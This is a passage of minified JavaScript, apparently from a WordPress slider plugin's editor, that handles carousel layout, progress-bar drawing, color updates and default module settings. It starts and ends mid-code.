f=document.getElementById("slide_"+RVS.S.slideId);"carousel"===RVS.SLIDER.settings.type?(f&&tpGS.gsap.set(f,{width:u?p:s,height:n,top:m,left:y,overflow:"hidden",borderRadius:RVS.SLIDER.settings.carousel.borderRadius}),tpGS.gsap.set([".layer_grid"],{x:0,y:0,left:u?(p-s)/2:0,top:"0px"}),tpGS.gsap.set(e,{x:0,y:0,left:y+"px",top:m}),tpGS.gsap.set(".slots_wrapper",{top:0,left:0,maxWidth:"none",maxHeight:"none"})):(f&&tpGS.gsap.set(f,{width:"100%",height:"100%",top:0,left:0,overflow:"visible",borderRadius:0}),tpGS.gsap.set([e,".layer_grid"],{x:0,y:0,left:y+"px",top:m}),tpGS.gsap.set(".slots_wrapper",{top:0,left:0,maxWidth:Math.max(RVS.S.ulDIM.width,o.width())+"px",maxHeight:RVS.S.ulDIM.height+"px"})),t&&x(),i&&RVS.F.updateScreenShrinks(),RVS.F.updateContentDeltas(),"carousel"===RVS.SLIDER.settings.type?function(e){var t=RVS.SLIDER.settings,i=jQuery("#fake_carousel_elements"),a=0,r=1,s="center"===t.carousel.horizontal?2:1,o=0,n=0,l=t.carousel,d=RVS.SLIDER.slideIDs.length-1;jQuery(".fakecarouselslide").hide();for(var S=1;S<t.carousel.maxItems;S++){var c,p=jQuery("#fakecarouselslide_"+S);0===p.length&&(p=jQuery('<div class="fakecarouselslide" id="fakecarouselslide_'+S+'"></div>'),i.append(p)),o=S%2==1?o+1:o,c={width:e.width,height:e.height,top:e.top,left:e.left,borderRadius:t.carousel.borderRadius,display:"block"};var u=parseInt(t.carousel.scaleDown,0)/100,R=parseInt(t.carousel.maxRotation,0),V=parseInt(t.carousel.maxOpacity,0)/100;if(trans="left",dim="width",rot="rotationY","v"==t.carousel.orientation&&(trans="top",dim="height",rot="rotationX"),t.carousel.fadeOut?t.carousel.varyFade?c.autoAlpha=1-Math.abs(V/Math.ceil(t.carousel.maxItems/s)*o):c.autoAlpha=o>=1||o<=-1?V:V+(1-V)*(1-Math.abs(o)):c.autoAlpha=Math.abs(o)<Math.ceil(t.carousel.maxItems/s)?1:0,t.carousel.scale&&void 0!==t.carousel.scaleDown&&u>0?(t.carousel.varyScale?c.scale=1-Math.abs((1-u)/Math.ceil(t.carousel.maxItems/s)*o):c.scale=o*r>=1||o*r<=-1?u:100-u*Math.abs(o),n=o*(c[dim]-c[dim]*c.scale)/2):c.scale=1,a=S%2==1?parseFloat(a)+parseFloat(e[dim])+parseInt(t.carousel.space,0)*(t.carousel.offsetScale?c.scale:1):a,c[trans]=parseFloat(e[trans])+r*a,"off"===l.spin&&(c.rotationX=0,c.rotation=0,c.rotationY=0),"off"!==l.spin){l.spinAngle=parseFloat(l.spinAngle),0===f&&(l.spinAngle=1),l.space=parseFloat(l.space),c.scale=1;var y=e[dim],m=y/2,f=Math.max(Math.min(l.spinAngle,360/d),-360/d),g=m/Math.sin(f/2*Math.PI/180),h=(Math.sqrt(g*g-m*m)+l.space)*Math.sign(f);"2d"===l.spin&&"h"===l.orientation?h+=(f<=0?0:1)*e.height:"2d"===l.spin&&(h+=(f<=0?0:1)*e.width);var v=(Math.floor(l.maxItems/2),Math.floor(l.maxItems/2));c[trans]=(v-Math.floor(l.maxItems/2))*(parseFloat(e[dim])+parseInt(t.carousel.space))+e[trans],"2d"===l.spin?(c.rotation=f*(S>Math.floor(l.maxItems/2)?S-Math.floor(l.maxItems/2):S-Math.ceil(l.maxItems/2)),"h"===l.orientation?c.transformOrigin="center "+h+"px 0":c.transformOrigin=h+"px center 0",c.rotationX=0,c.rotationY=0):(c.transformOrigin="center center "+h+"px","h"===l.orientation?(c.rotationY=f*(S>Math.floor(l.maxItems/2)?S-Math.floor(l.maxItems/2):S-Math.ceil(l.maxItems/2)),c.rotation=0,c.rotationX=0):(c.rotationX=f*(S>Math.floor(l.maxItems/2)?S-Math.floor(l.maxItems/2):S-Math.ceil(l.maxItems/2)),c.rotation=0,c.rotationY=0))}else t.carousel.rotation&&void 0!==t.carousel.maxRotation&&0!=Math.abs(R)?(t.carousel.varyRotate?(c[rot]=Math.abs(R)-Math.abs((1-Math.abs(1/Math.ceil(t.carousel.maxItems/s)*o))*R),c.autoAlpha=Math.abs(c[rot])>90?0:c.autoAlpha):c[rot]=o*r>=1||o*r<=-1?R:Math.abs(o)*R,c[rot]=c[rot]*r*-1):c[rot]=0;void 0!==c.scale&&1!==c.scale&&(c[trans]=r<0?c[trans]+n:c[trans]-n),c.zIndex=Math.round(100-Math.abs(5*o)),c.force3D=!0,c.transformStyle="flat",c.transformPerspective=1200,"off"===l.spin&&(c.transformOrigin="v"==t.carousel.orientation?"50% 50%":"50% "+t.carousel.vertical),tpGS.gsap.set(p,c),r*=-1}}({width:u?p:s,height:n,top:m,left:y}):jQuery(".fakecarouselslide").remove(),RVS.F.sliderNavPositionUpdate({type:"arrows"}),RVS.F.sliderNavPositionUpdate({type:"bullets"}),RVS.F.sliderNavPositionUpdate({type:"tabs"}),RVS.F.sliderNavPositionUpdate({type:"thumbs"}),h("update"),RVS.F.setRulers(),(void 0===RVS.S.firstPreparation||RVS.S.firstPreparation<2)&&(RVS.S.firstPreparation=void 0===RVS.S.firstPreparation?0:RVS.S.firstPreparation,RVS.S.firstPreparation++,2==RVS.S.firstPreparation&&RVS.F.expandCollapseTimeLine(!0,"open",!0))}function x(){for(var e in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(e)){var t=RVS.V.sizes[e],i=RVS.SLIDER.settings.size.custom[t],a=F(t),r=i?RVS.F.GW(t):Math.min(a.w,RVS.ENV.grid_sizes[t]),s=i?parseInt(RVS.SLIDER.settings.size.height[t],0):r/a.w*a.h;r=Math.round(r),s=Math.round(s),jQuery("#sr_size_width_"+t).val(r+"px"),jQuery("#sr_size_height_"+t).val(s+"px")}var o="none"===RVS.SLIDER.settings.size.maxWidth||0===RVS.SLIDER.settings.size.maxWidth||""===RVS.SLIDER.settings.size.maxWidth?"none":RVS.SLIDER.settings.size.maxWidth;jQuery("#sr_size_maxwidth").val(o),jQuery("#sr_size_minheight").val(RVS.SLIDER.settings.size.minHeight),jQuery("#sr_size_minheight_fs").val(RVS.SLIDER.settings.size.minHeightFullScreen),void 0!==d&&(d.innerHTML=Math.round(RVS.F.GW(RVS.screen))+"px")}function C(e){requestAnimationFrame(function(){tpGS.gsap.set(RVS.S.ulInner,{backgroundImage:""});var e=RVS.SLIDER.settings,t=window.RSColor.get(e.layout.bg.color),i=e.layout.bg.useImage&&void 0!==e.layout.bg.image?e.layout.bg.image:"";""!==i?tpGS.gsap.set([RVS.S.ulInner,"#slider_bg_image"],{backgroundPosition:e.layout.bg.position,"background-size":e.layout.bg.fit,backgroundRepeat:e.layout.bg.repeat,backgroundImage:"url("+i+")"}):t.indexOf("gradient")>=0?tpGS.gsap.set([RVS.S.ulInner,"#slider_bg_image"],{background:t}):"transparent"!==t?tpGS.gsap.set([RVS.S.ulInner,"#slider_bg_image"],{backgroundColor:t,backgroundImage:"none"}):tpGS.gsap.set([RVS.S.ulInner,"#slider_bg_image"],{backgroundColor:"transparent",backgroundImage:RVS.S.defaultMainPNG,backgroundRepeat:"repeat","background-size":"16px 16px"}),k(),setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery("#slider_used_library"),trigger:"init"}),RVS.F.updateEasyInputs({container:jQuery("#slider_used_library_lists"),trigger:"init"}),RVS.F.updateEasyInputs({container:jQuery("#slider_bg_inputfields"),trigger:"init"})},100)})}function k(){RVS.C.sliderOverlay=void 0===RVS.C.sliderOverlay?document.getElementById("slider_overlay"):RVS.C.sliderOverlay,RVS.C.sliderOverlay.style.backgroundImage=RVS._R.createOverlay("slider",RVS.SLIDER.settings.layout.bg.dottedOverlay,RVS.SLIDER.settings.layout.bg.dottedOverlaySize,{0:RVS.SLIDER.settings.layout.bg.dottedColorA,1:RVS.SLIDER.settings.layout.bg.dottedColorB})}function O(){requestAnimationFrame(T)}function T(){var e=RVS.SLIDER.settings.general.progressbar;RVS.C.pbar=void 0===RVS.C.pbar?jQuery("#rev_progress_bar_wrap"):RVS.C.pbar,RVS.C.pbar_lc=void 0===RVS.C.pbar_lc?document.getElementById("progressbar_selector_left-center"):RVS.C.pbar_lc,RVS.C.pbar_rc=void 0===RVS.C.pbar_rc?document.getElementById("progressbar_selector_right-center"):RVS.C.pbar_rc,RVS.C.pbar_ct=void 0===RVS.C.pbar_ct?document.getElementById("progressbar_selector_center-top"):RVS.C.pbar_ct,RVS.C.pbar_cb=void 0===RVS.C.pbar_cb?document.getElementById("progressbar_selector_center-bottom"):RVS.C.pbar_cb,RVS.C.pbar_cc=void 0===RVS.C.pbar_cc?document.getElementById("progressbar_selector_center-center"):RVS.C.pbar_cc,RVS.C.pbar_lc=void 0===RVS.C.pbar_lc?document.getElementById("progressbar_selector_left-center"):RVS.C.pbar_lc,"grid"===e.alignby&&void 0!==RVS.C.layergrid?RVS.C.layergrid.append(RVS.C.pbar):RVS.S.ulInner.append(RVS.C.pbar),"horizontal"===e.style?(tpGS.gsap.set([RVS.C.pbar_lc,RVS.C.pbar_rc],{display:"block"}),tpGS.gsap.set([RVS.C.pbar_ct,RVS.C.pbar_cb,RVS.C.pbar_cc],{display:"none"})):"vertical"===e.style?(tpGS.gsap.set([RVS.C.pbar_ct,RVS.C.pbar_cb],{display:"block"}),tpGS.gsap.set([RVS.C.pbar_lc,RVS.C.pbar_rc,RVS.C.pbar_cc],{display:"none"})):tpGS.gsap.set([RVS.C.pbar_ct,RVS.C.pbar_cb,RVS.C.pbar_lc,RVS.C.pbar_rc,RVS.C.pbar_cc],{display:"block"});var t="grid"===e.alignby?RVS.S.lgw:RVS.S.ulDIM.width,i="grid"===e.alignby?RVS.S.lgh:RVS.S.ulDIM.height;if(e.set&&"hero"!==RVS.SLIDER.settings.style){if("horizontal"===e.style||"vertical"===e.style){var a,r;RVS.C.pbar[0].innerHTML="module"===e.basedon?'<div class="rev_progress_bar"></div><div class="rev_progress_bar"></div><div class="rev_progress_bgs"><div class="rev_progress_bg"></div><div class="rev_progress_bg"></div><div class="rev_progress_bg"></div><div class="rev_progress_bg"></div></div><div class="rev_progress_gap"></div><div class="rev_progress_gap"></div><div class="rev_progress_gap"></div>':'<div class="rev_progress_bar"></div>',RVS.C.pbars=RVS.C.pbar[0].getElementsByClassName("rev_progress_bar"),RVS.C.pbbgs=RVS.C.pbar[0].getElementsByClassName("rev_progress_bg"),RVS.C.pbgaps=RVS.C.pbar[0].getElementsByClassName("rev_progress_gap"),"horizontal"===e.style?(a=Math.ceil(t/4),r=Math.ceil((t-3*parseInt(e.gapsize,0))/4),tpGS.gsap.set(RVS.C.pbar,{top:"top"===e.vertical?e.y:"center"===e.vertical?"50%":"auto",bottom:"top"===e.vertical||"center"===e.vertical?"auto":e.y,y:"center"===e.vertical?e.y:0,x:0,left:0,right:"auto",width:"100%",height:e.size,marginTop:"grid"===e.alignby?0:"bottom"===e.vertical?0:(e.vertical,0),backgroundColor:"module"===e.basedon?"transparent":e.bgcolor}),tpGS.gsap.set(RVS.C.pbars,{backgroundColor:e.color,y:0,x:"module"===e.basedon?e.gap?function(t){return("right"===e.horizontal?3-t:t)*(r+parseInt(e.gapsize,0))}:function(t){return("right"===e.horizontal?3-t:t)*a}:"right"===e.horizontal?a:0,width:"module"===e.basedon?e.gap?r+"px":"25%":"75%",height:"100%"}),"module"===e.basedon&&tpGS.gsap.set(RVS.C.pbbgs,{backgroundColor:e.bgcolor,y:0,x:"module"===e.basedon?e.gap?function(t){return t*(r+parseInt(e.gapsize,0))}:function(e){return e*a}:0,width:"module"===e.basedon?e.gap?r+"px":"25%":"75%",height:"100%"}),tpGS.gsap.set(RVS.C.pbgaps,{backgroundColor:e.gapcolor,height:"100%",width:"module"===e.basedon&&e.gap?e.gapsize+"px":0,y:0,x:"module"===e.basedon&&e.gap?function(t){return(t+1)*r+parseInt(e.gapsize,0)*t}:0})):"vertical"===e.style&&(a=i/4,r=(i-3*parseInt(e.gapsize,0))/4,tpGS.gsap.set(RVS.C.pbar,{left:"left"===e.horizontal?e.x:"center"===e.horizontal?"50%":"auto",right:"left"===e.horizontal||"center"===e.horizontal?"auto":e.x,x:"center"===e.horizontal?e.x:0,y:(e.alignby,0),top:0,bottom:"auto",height:"100%",width:e.size,marginLeft:"grid"===e.alignby?0:"left"===e.horizontal?0:(e.horizontal,0),backgroundColor:"module"===e.basedon?"transparent":e.bgcolor}),tpGS.gsap.set(RVS.C.pbars,{backgroundColor:e.color,y:"module"===e.basedon?e.gap?function(t){return("bottom"===e.vertical?3-t:t)*(r+parseInt(e.gapsize,0))}:function(t){return("bottom"===e.vertical?3-t:t)*a}:"bottom"===e.vertical?a:0,height:"module"===e.basedon?e.gap?r+"px":"25%":"75%",width:"100%"}),"module"===e.basedon&&tpGS.gsap.set(RVS.C.pbbgs,{backgroundColor:e.bgcolor,y:"module"===e.basedon?e.gap?function(t){return t*(r+parseInt(e.gapsize,0))}:function(e){return e*a}:0,height:"module"===e.basedon?e.gap?r+"px":"25%":"75%",width:"100%"}),tpGS.gsap.set(RVS.C.pbgaps,{backgroundColor:e.gapcolor,width:"100%",height:"module"===e.basedon&&e.gap?e.gapsize+"px":0,x:0,y:"module"===e.basedon&&e.gap?function(t){return(t+1)*r+parseInt(e.gapsize,0)*t}:0}))}else RVS.C.pbar[0].innerHTML='<canvas width="'+2*e.radius+'" height="'+2*e.radius+'" style="position:absolute" class="rev_progress_bar"></canvas>',RVS.C.pbars=RVS.C.pbar[0].getElementsByClassName("rev_progress_bar")[0],tpGS.gsap.set(RVS.C.pbar,{top:"top"===e.vertical?e.y:"center"===e.vertical?"50%":"auto",bottom:"top"===e.vertical||"center"===e.vertical?"auto":e.y,left:"left"===e.horizontal?e.x:"center"===e.horizontal?"50%":"auto",right:"left"===e.horizontal||"center"===e.horizontal?"auto":e.x,y:"center"===e.vertical?e.y:0,x:"center"===e.horizontal?e.x:0,width:2*e.radius,height:2*e.radius,marginTop:"bottom"===e.vertical?0:"top"===e.vertical?0:0-e.radius,marginLeft:"left"===e.horizontal?0:"right"===e.horizontal?0:0-e.radius,backgroundColor:"transparent"}),j();RVS.C.pbar.removeClass("deactivated")}else RVS.C.pbar.addClass("deactivated")}function j(e){var t=RVS.SLIDER.settings.general.progressbar,i=RVS.C.pbars.getContext("2d"),a=parseInt(t.radius),r=parseInt(t.radius),s="cw"!==t.style?294:64;i.lineCap="round",i.clearRect(0,0,2*t.radius,2*t.radius),i.beginPath(),i.arc(a,r,t.radius-parseInt(t.size,0),Math.PI/180*270,Math.PI/180*630),i.strokeStyle=void 0!==e&&void 0!==e.bgcolor?e.bgcolor:t.bgcolor,i.lineWidth=parseInt(t.size,0)-1,i.stroke(),i.beginPath(),i.strokeStyle=void 0!==e&&void 0!==e.color?e.color:t.color,i.lineWidth=parseInt(t.size,0),i.arc(a,r,t.radius-parseInt(t.size,0),Math.PI/180*270,Math.PI/180*(270+s),"cw"!==t.style),i.stroke()}function E(e,t,i){switch(e){case"progressgapcolor":"horizontal"!==RVS.SLIDER.settings.general.progressbar.style&&"vertical"!==RVS.SLIDER.settings.general.progressbar.style||tpGS.gsap.set(RVS.C.pbgaps,{bakgroundColor:t});break;case"sliderprogresscolor":"horizontal"===RVS.SLIDER.settings.general.progressbar.style||"vertical"===RVS.SLIDER.settings.general.progressbar.style?tpGS.gsap.set(RVS.C.pbars,{background:t}):j({color:t});break;case"sliderprogresscolorbg":"horizontal"===RVS.SLIDER.settings.general.progressbar.style||"vertical"===RVS.SLIDER.settings.general.progressbar.style?tpGS.gsap.set(RVS.C.pbar,{background:t}):j({bgcolor:t});break;case"sliderbgcolor":i?C():tpGS.gsap.set(RVS.C.UL,{background:t});break;case"sliderTabBgColor":RVS.F.bgUpdate("tabs",t);break;case"sliderThumbBgColor":RVS.F.bgUpdate("thumbs",t);break;case"module_spinner_color":L(t)}}function P(e,t,i,a,r,s){var o=!1;if(void 0!==t?window.lastColorEditjObj=jQuery(t):(void 0!==window.lastColorEditjObj&&(i=window.RSColor.get(window.lastColorEditjObj.val())),o=!0),void 0!==i&&(1==window.lastColorEditjObj[0].dataset.navcolor?RVS.F.drawNavigation({type:window.lastColorEditjObj[0].dataset.evtparam,color:i,attribute:window.lastColorEditjObj[0].name}):E(window.lastColorEditjObj[0].name,i,o),s&&!0!==o))for(var n in s.ref)if("slider"===s.ref[n].type&&E(s.ref[n].inpname,i,o),"navstyle"===s.ref[n].type&&RVS.F.drawNavigation({type:s.ref[n].evtparam,color:i,attribute:s.ref[n].inpname}),("slider"===s.ref[n].type||"navstyle"===s.ref[n].type)&&r){RVS.F.updateSliderObj({path:s.ref[n].r,val:i});var l=jQuery("input[name="+s.ref[n].inpname+"]");l.length>0&&(l[0].value=i,l.rsColorPicker("refresh"))}}function M(e){var t={};return t.addOns=jQuery.extend(!0,{},e.addOns)||{},t.version=RVS.ENV.revision,t.alias=z(e.alias,""),t.pakps=z(e.pakps,!1),t.shortcode=z(e.shortcode,""),t.type=z(e.type,"standard"),t.layouttype=z(e.layouttype,"fullwidth"),t.sourcetype=z(e.sourcetype,"gallery"),t.title=z(e.title,"New Slider"),t.googleFont=z(e.googleFont,[]),t.id=z(e.id,""),t.class=z(e.class,""),t.wrapperclass=z(e.wrapperclass,""),t.snap=z(e.snap,{adjust:"none",snap:!1,helpLines:!1,gap:20}),t.source=z(e.source,{gallery:{},post:{excerptLimit:55,maxPosts:30,fetchType:"cat_tag",category:"",sortBy:"ID",types:"post",list:"",sortDirection:"DESC",subType:"post"},woo:{excerptLimit:55,maxProducts:30,featuredOnly:!1,inStockOnly:!1,category:"",sortBy:"ID",types:"product",sortDirection:"DESC",regPriceFrom:"",regPriceTo:"",salePriceFrom:"",salePriceTo:""},instagram:{count:8,hashTag:"",transient:1200,type:"user",userId:"",token_source:"account",connect_with:""},facebook:{album:"",appId:"",appSecret:"",count:8,transient:1200,typeSource:"timeline",token_source:"account",connect_with:"",page_id:""},flickr:{apiKey:"",count:8,galleryURL:"",groupURL:"",photoSet:"",transient:1200,type:"publicphotos",userURL:""},twitter:{accessSecret:"",accessToken:"",consumerKey:"",consumerSecret:"",count:8,excludeReplies:!1,imageOnly:!1,includeRetweets:!1,transient:1200,userId:""},vimeo:{albumId:"",channelName:"",count:8,transient:1200,groupName:"",typeSource:"user",userName:""},youtube:{api:"",channelId:"",count:8,playList:"",transient:1200,typeSource:"channel"}}),void 0!==t.source.facebook&&delete t.source.facebook.pageURL,void 0!==t.source&&void 0!==t.source.post&&-1==(""+t.source.post.excerptLimit).indexOf("chars")&&(""+t.source.post.excerptLimit).indexOf("char")>=0&&(t.source.post.excerptLimit=t.source.post.excerptLimit.replace("char","words")),void 0!==t.source&&void 0!==t.source.woo&&-1==(""+t.source.woo.excerptLimit).indexOf("chars")&&(""+t.source.woo.excerptLimit).indexOf("char")>=0&&(t.source.woo.excerptLimit=t.source.woo.excerptLimit.replace("char","words")),"youtube"===t.sourcetype&&(""===t.source.youtube.count&&(t.source.youtube.count=8),""===t.source.youtube.channelId&&(t.source.youtube.channelId="UCpVm7bg6pXKo1Pr6k5kxG9A")),"vimeo"===t.sourcetype&&""===t.source.vimeo.count&&(t.source.vimeo.count=8),"twitter"===t.sourcetype&&""===t.source.twitter.count&&(t.source.twitter.count=8),"flickr"===t.sourcetype&&""===t.source.flickr.count&&(t.source.flickr.count=8),"facebook"===t.sourcetype&&""===t.source.facebook.count&&(t.source.facebook.count=8),t.def=z(e.def,{intelligentInherit:!0,autoResponsive:!0,responsiveChilds:!0,responsiveOffset:!0,transition:"fade",transitionDuration:300,delay:9e3,background:{fit:"cover",fitX:100,fitY:100,position:"center center",positionX:0,positionY:0,repeat:"no-repeat"},panZoom:{set:!1,blurStart:0,blurEnd:0,duration:1e4,ease:"none",fitEnd:100,fitStart:100,xEnd:0,yEnd:0,xStart:0,yStart:0,rotateStart:0,rotateEnd:0}}),t.def.intelligentInherit=void 0===t.def.intelligentInherit||t.def.intelligentInherit,t.def.autoResponsive=void 0===t.def.autoResponsive||t.def.autoResponsive,t.def.responsiveChilds=void 0===t.def.responsiveChilds||t.def.responsiveChilds,t.def.responsiveOffset=void 0===t.def.responsiveOffset||t.def.responsiveOffset,t.size=z(e.size,{enableUpscaling:!1,respectAspectRatio:!1,disableForceFullWidth:!1,custom:{d:!0,n:!1,t:!1,m:!1},minHeightFullScreen:"",minHeight:"",maxWidth:0,maxHeight:0,fullScreenOffsetContainer:"",fullScreenOffset:"",width:{d:1240,n:1024,t:778,m:480},height:{d:900,n:768,t:960,m:720},editorCache:{d:0,n:0,t:0,m:0},overflow:!1,useFullScreenHeight:!0,overflowHidden:!1,gridEQModule:!1,forceOverflow:!1,keepBPHeight:!1,ignoreHeightChanges:!0}),t.size.editorCache=void 0===t.size.editorCache?{d:0,n:0,t:0,m:0}:t.size.editorCache,t.size.editorCache.d=0===t.size.editorCache.d?t.size.height.d:t.size.editorCache.d,t.size.editorCache.n=0===t.size.editorCache.n?t.size.height.n:t.size.editorCache.n,t.size.editorCache.t=0===t.size.editorCache.t?t.size.height.t:t.size.editorCache.t,t.size.editorCache.m=0===t.size.editorCache.m?t.size.height.m:t.size.editorCache.m,t.codes=z(e.codes,{css:"",javascript:""}),t.carousel=z(e.carousel,{orientation:"h",prevNextVis:"50px",justify:!1,justifyMaxWidth:!1,snap:!0,borderRadius:0,borderRadiusUnit:"px",ease:"power3.inOut",fadeOut:!0,scale:!1,offsetScale:!1,horizontal:"center",vertical:"center",infinity:!1,maxItems:3,maxRotation:0,maxOpacity:100,paddingTop:0,paddingBottom:0,rotation:!1,scaleDown:50,space:0,speed:800,stretch:!1,varyFade:!1,varyRotate:!1,varyScale:!1,showAllLayers:"false",skewX:0,skewY:0,spin:"off",spinAngle:0,overshoot:!1}),t.carousel.showAllLayers="true"===t.carousel.showAllLayers||!0===t.carousel.showAllLayers?"all":t.carousel.showAllLayers,t.hero=z(e.hero,{activeSlide:-1}),t.layout=z(e.layout,{bg:{color:"transparent",padding:0,dottedOverlay:"none",dottedOverlaySize:1,dottedColorA:"transparent",dottedColorB:"#000000",shadow:0,useImage:!1,image:"",imageSourceType:"full",fit:"cover",position:"center center",repeat:"no-repeat"},spinner:{color:"#ffffff",type:"off"},position:{marginTop:0,marginBottom:0,marginLeft:0,marginRight:0,align:"center",fixedOnTop:!1,addClear:!1}}),void 0!==t&&void 0!==t.layout&&void 0!==t.layout.bg&&(t.layout.bg.dottedOverlay.indexOf("white")>0&&(t.layout.bg.dottedColorB="rgba(255,255,255,255)"),t.layout.bg.dottedOverlay.indexOf("twoxtwo")>=0?t.layout.bg.dottedOverlay="1":t.layout.bg.dottedOverlay.indexOf("threexthree")>=0&&(t.layout.bg.dottedOverlay="2")),t.visibility=z(e.visibility,{hideSelectedLayersUnderLimit:0,hideAllLayersUnderLimit:0,hideSliderUnderLimit:0}),t.general=z(e.general,{slideshow:{slideShow:!0,stopOnHover:!1,stopSlider:!1,stopAfterLoops:0,stopAtSlide:1,shuffle:!1,loopSingle:!1,viewPort:!1,viewPortStart:"wait",viewPortArea:RVS.F.cToResp({default:"200px"}),presetSliderHeight:!1,initDelay:0,waitForInit:!1},progressbar:{set:!1,alignby:"slider",style:"horizontal",size:"5px",radius:10,vertical:"bottom",horizontal:"left",x:0,y:0,color:"rgba(255,255,255,0.5)",bgcolor:"transparent",basedon:"slide",gapsize:0,gap:!1,gapcolor:"rgba(255,255,255,0.5)",reset:"reset",visibility:{d:!0,m:!0,n:!0,t:!0}},firstSlide:{set:!1,duration:300,slotAmount:7,type:"fade",alternativeFirstSlideSet:!1,alternativeFirstSlide:1},icache:"default",DPR:"dpr",observeWrap:!1,layerSelection:!1,lazyLoad:"none",nextSlideOnFocus:!1,disableFocusListener:!1,enableurlhash:!1,disableOnMobile:!1,autoPlayVideoOnMobile:!0,disablePanZoomMobile:!1,useWPML:!1,perspective:600,perspectiveType:"global"}),void 0!==t.general.progressbar&&(void 0!==t.general.progressbar.height&&(t.general.progressbar.size=t.general.progressbar.height,delete t.general.progressbar.height),void 0!==t.general.progressbar.position&&(t.general.progressbar.vertical=t.general.progressbar.position,delete t.general.progressbar.position)),void 0===t.general.perspectiveType&&(t.general.perspectiveType="local"),void 0===t.general.perspective&&(t.general.perspective=600),"object"!=typeof t.general.slideshow.viewPortArea&&(t.general.slideshow.viewPortArea=RVS.F.cToResp({default:t.general.slideshow.viewPortArea})),void 0!==e&&void 0!==e.nav&&void 0!==e.nav.swipe&&(e.nav.swipe.setMobileCarousel=void 0===e.nav.swipe.setMobileCarousel||e.nav.swipe.setMobileCarousel,e.nav.swipe.setDesktopCarousel=void 0===e.nav.swipe.setDesktopCarousel||e.nav.swipe.setDesktopCarousel),t.nav=z(e.nav,{preview:{width:50,height:100},swipe:{set:!1,setOnDesktop:!1,setMobileCarousel:!0,setDesktopCarousel:!0,blockDragVertical:!1,direction:"horizontal",minTouch:1,velocity:75},keyboard:{direction:"horizontal",set:!1},mouse:{set:"off",reverse:"default",viewport:50,calldelay:1e3,threshold:50},arrows:{set:!1,rtl:!1,animSpeed:"1000ms",animDelay:"1000ms",style:"1000",preset:"default",presets:{},alwaysOn:!0,hideDelay:200,hideDelayMobile:1200,hideOver:!1,hideOverLimit:0,hideUnder:!1,hideUnderLimit:778,left:{anim:"fade",horizontal:"left",vertical:"center",offsetX:30,offsetY:0,align:"slider"},right:{anim:"fade",horizontal:"right",vertical:"center",offsetX:30,offsetY:0,align:"slider"}},thumbs:{anim:"fade",animSpeed:"1000ms",animDelay:"1000ms",set:!1,rtl:!1,style:"2000",preset:"default",presets:{},alwaysOn:!0,hideDelay:200,hideDelayMobile:1200,hideOver:!1,hideOverLimit:0,hideUnder:!1,hideUnderLimit:778,spanWrapper:!1,horizontal:"center",vertical:"bottom",amount:5,direction:"horizontal",height:50,width:100,widthMin:100,innerOuter:"inner",offsetX:0,offsetY:20,space:5,align:"slider",padding:5,wrapperColor:"transparent",mhoffset:0,mvoffset:0},tabs:{anim:"fade",animSpeed:"1000ms",animDelay:"1000ms",set:!1,rtl:!1,style:"4000",preset:"default",presets:{},alwaysOn:!0,hideDelay:200,hideDelayMobile:1200,hideOver:!1,hideOverLimit:0,hideUnder:!1,hideUnderLimit:778,spanWrapper:!1,horizontal:"center",vertical:"bottom",amount:5,direction:"horizontal",height:50,width:100,widthMin:100,innerOuter:"inner",offsetX:0,offsetY:20,space:5,align:"slider",padding:5,wrapperColor:"transparent",mhoffset:0,mvoffset:0},bullets:{anim:"fade",animSpeed:"1000ms",animDelay:"1000ms",set:!1,rtl:!1,style:"3000",preset:"default",presets:{},alwaysOn:!0,horizontal:"center",vertical:"bottom",direction:"horizontal",offsetX:0,offsetY:20,align:"slider",space:5,hideDelay:200,hideDelayMobile:1200,hideOver:!1,hideOverLimit:0,hideUnder:!1,hideUnderLimit:778}}),void 0!==t.nav&&(void 0===t.nav.arrows||""!=t.nav.arrows.style&&null!=t.nav.arrows.style||(t.nav.arrows.style="1000"),void 0===t.nav.thumbs||""!=t.nav.thumbs.style&&null!=t.nav.thumbs.style||(t.nav.thumbs.style="2000"),void 0===t.nav.bullets||""!=t.nav.bullets.style&&null!=t.nav.bullets.style||(t.nav.bullets.style="3000"),void 0===t.nav.tabs||""!=t.nav.tabs.style&&null!=t.nav.tabs.style||(t.nav.tabs.style="4000")),t.troubleshooting=z(e.troubleshooting,{alternateImageType:"off",alternateURL:"",jsNoConflict:!1,jsInBody:!1,outPutFilter:"none",simplify_ie8_ios4:!1}),t.parallax=z(e.parallax,{set:!1,setDDD:!1,disableOnMobile:!1,levels:[5,10,15,20,25,30,35,40,45,46,47,48,49,50,51,30],ddd:{BGFreeze:!1,layerOverflow:!1,overflow:!1,shadow:!1,zCorrection:65},mouse:{speed:0,bgSpeed:0,layersSpeed:0,origo:"slidercenter",type:"scroll"}}),t.modal=z(e.modal,{bodyclass:"",horizontal:"center",vertical:"middle",cover:!0,allowPageScroll:!1,coverColor:"rgba(0,0,0,0.5)",coverSpeed:1e3}),void 0!==t.modal&&(t.modal.coverSpeed=t.modal.coverSpeed<10?1e3*t.modal.coverSpeed:t.modal.coverSpeed),t.scrolleffects=z(e.scrolleffects,{set:!1,setBlur:!1,setFade:!1,setGrayScale:!1,bg:!1,direction:"both",layers:!1,maxBlur:10,multiplicator:"1.3",multiplicatorLayers:"1.3",disableOnMobile:!1,parallaxLayers:!1,staticLayers:!1,staticParallaxLayers:!1,tilt:30}),t.scrolltimeline=z(e.scrolltimeline,{set:!1,fixed:!1,fixedStart:2e3,fixedEnd:4e3,layers:!1,ease:"none",speed:500,pullcontent:!1}),t.skins=z(e.skins,{colorsAtStart:!1}),t.source.post.fetchType=void 0===t.source.post.fetchType?"cat_tag":t.source.post.fetchType,t.source.instagram.hashTag=void 0===t.source.instagram.hashTag?"":t.source.instagram.hashTag,t.source.instagram.transient=void 0===t.source.instagram.transient?1200:t.source.instagram.transient,t.source.instagram.type=void 0===t.source.instagram.type?"":t.source.instagram.type,t.source.flickr.transient=void 0===t.source.flickr.transient?1200:t.source.flickr.transient,t.source.vimeo.transient=void 0===t.source.vimeo.transient?1200:t.source.vimeo.transient,t.source.youtube.transient=void 0===t.source.youtube.transient?1200:t.source.youtube.transient,t.def.transition=void 0===t.def.transition?"fade":t.def.transition,t.def.background.imageSourceType=void 0===t.def.background.imageSourceType?"full":t.def.background.imageSourceType,t.def.panZoom.blurStart=void 0===t.def.panZoom.blurStart?0:t.def.panZoom.blurStart,t.def.panZoom.blurEnd=void 0===t.def.panZoom.blurEnd?0:t.def.panZoom.blurEnd,t.size.maxWidth=void 0===t.size.maxWidth?"":t.size.maxWidth,t.carousel.ease=void 